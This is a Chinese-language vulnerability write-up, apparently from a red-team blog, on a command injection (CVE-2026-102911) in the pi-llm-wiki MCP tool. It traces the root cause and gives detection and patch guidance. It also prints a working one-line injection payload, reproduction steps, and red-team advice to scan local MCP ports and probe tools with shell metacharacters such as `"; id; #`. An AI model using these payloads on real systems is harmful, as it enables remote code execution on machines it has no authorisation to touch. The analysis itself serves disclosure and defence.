文章总结: 本文分析CVE-2026-102911漏洞,该漏洞影响pi-llm-wikiMCP工具,为CVSS9.9的OS命令注入漏洞。根因是将用户可控url参数直接拼入sh-c命令,PoC已公开。建议升级至0.11.8版本,排查MCP工具中类似拼接shell的模式,并采用execFile替代sh-c调用。红队视角指出MCP工具是新的攻击面,需重点排查。 综合评分: 92 文章分类: 漏洞分析,红队,代码审计,安全工具
(9.9分) CVE-2026-102911:pi-llm-wiki MCP工具命令注入RCE
红队安全圈 红队安全圈
红队安全圈
2026年9月30日 20:13 重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
MCP 工具爆出 CVSS 9.9 命令注入,一行 payload 弹计算器,PoC 已公开。AI Agent 生态的新攻击面,值得当模板排查一遍。
01 引言
AI Agent 生态的 MCP 工具正在成为新的攻击面。CVE-2026-102911 是 zosmaai pi-llm-wiki(一个给 pi 用的自维护 Obsidian 知识库)的 wiki_capture_source MCP 工具里的 OS 命令注入,CVSS 9.9,网络可达、无需权限、无需交互,PoC 已经公开——payload 一发,macOS 上直接弹出计算器。修复版本 0.11.8 已发布。这类把字符串拼进 sh -c 的洞,在 MCP 工具里大概率不止这一家,值得当作模板来审。
02 漏洞速览
漏洞编号CVE-2026-102911
影响产品pi-llm-wiki ≤ 0.11.7
漏洞类型OS 命令注入(CWE-78)
危害等级9.9(Critical)
攻击前提能访问 MCP 接口即可
公开 PoC有,已验证可用
修复版本0.11.8
03 漏洞成因
根因是教科书级的:把攻击者可控的 url 参数直接插值进 sh -c 的命令字符串。
数据流向(从入口到 sink):
- mcp/index.ts:317 — 工具参数 url 进入2. mcp/operations.ts:220 — 走 captureUrl(execApi, paths, input.url)3. source-packet.ts:104 — 进入 extractUrlContent(pi, url, signal)4. source-extractors.ts:274 — 关键插值点:
sh -c uvx –from \
‘markitdown[docx,pdf]’ markitdown \
“${source}” 2>/dev/null || echo “”
source 就是用户传的 url,被套在双引号里塞进 shell 字符串。双引号挡不住 shell——”; open -a Calculator; # 这类 payload 闭合引号、终止命令、注入新命令,尾部 # 把剩下的注释掉。最终在 mcp/exec.ts:17 落到 spawn(command, args),以 pi-llm-wiki 服务进程的权限执行。
同一文件里还有第二个隐患:hasMarkItDown() 探测 uvx 是否存在,也是走 sh -c which uvx。
04 PoC/EXP 讲解
PoC 已公开且验证可用,核心 payload 只有一行 JSON:
{“text”:”test”, “url”:”\”;open -a Calculator;# “, “file_path”:”test”,”title”:”test”}
复现步骤:
- 起受影响版本的服务端(MCP Inspector 方式):
pnpm installpnpm build:mcpmkdir -p /tmp/pi-llm-wiki-testWIKI_ROOT=/tmp/pi-llm-wiki-test \pnpm dlx @modelcontextprotocol/\ inspector node “$PWD/dist/mcp/index.js”
- 先调 wiki_bootstrap 创建工作区,再对 wiki_capture_source 发上面的参数。3. 结果:工具返回 Success,服务端主机弹出 macOS 计算器——任意 OS 命令以服务进程权限执行成功。
换掉 open -a Calculator 就是任意命令:反弹 shell、读文件、横向,取决于服务进程权限。
05 检测与排查
查自己装的版本:
npm ls pi-llm-wiki
低于 0.11.8 就中招。代码层面搜这个指纹——sh -c 加模板字符串插值外部输入:
grep -rn ‘sh.*-c.*uvx’ \ node_modules/pi-llm-wiki/
更广的排查思路:对自用的 MCP server 全部过一遍,凡是有 spawn(“sh”, [“-c”, …]) 且参数来自工具入参的,先按有洞处理。
06 修复建议
升级到 0.11.8。官方 patch 也是这么改的:去掉 sh -c,直接 execFile/spawn 调 uvx,shell: false,参数数组分开传:
[“–from”, “markitdown[docx,pdf]”, “markitdown”, source]
stderr 和 fallback 在应用层处理,不用 shell 重定向和 ||。纵深防御:只接受 http:/https: 协议的 URL,拒绝含控制字符的输入,MCP 服务以最小权限跑。修复后验证:重放上面的 payload,工具应报错或正常返回,计算器不弹。
07 红队视角
这个洞的实际价值不在 pi-llm-wiki 本身(599 star 的工具,装的人有限),而在它的攻击模型:
MCP 是新的本地 RPC。Agent 框架里 MCP server 经常无鉴权跑在本地端口,任何能到达这个端口的进程都能调工具。配合浏览器 CSRF 式的跨站调用,攻击面比想象的大。
AI 工具拼接 shell 是一类洞。任何把 LLM/用户输入插进 sh -c 的 MCP 工具都值得排查——下载器、转码器、URL 抓取器是重灾区,因为它们天生要调系统命令。
利用门槛极低:网络可达 + 无需认证 + 一行 payload。在 red team 场景里,拿下开发者工作站的一条捷径就是扫本机 MCP 端口然后打这类工具。
实战建议:写个快速枚举脚本,对常见 MCP server 端口发 tools/list,拿到工具签名后重点看参数里带 url/path 的,逐个试 shell 元字符。这类注入 payload 不用花哨,”; id; # 的变体够用。
08 POC 链接
https://github.com/zosmaai/pi-llm-wiki/issues/185
https://github.com/zosmaai/pi-llm-wiki/commit/360867034e79175b45c8e04a98e4ca712bbaca35
说明:漏洞报告(含完整复现步骤)与官方修复 patch
如果文章对您有收获,欢迎关注、点赞、推荐、转发。
— END —
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队安全圈 红队安全圈 红队安全圈《(9.9分) CVE-2026-102911:pi-llm-wiki MCP工具命令注入RCE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论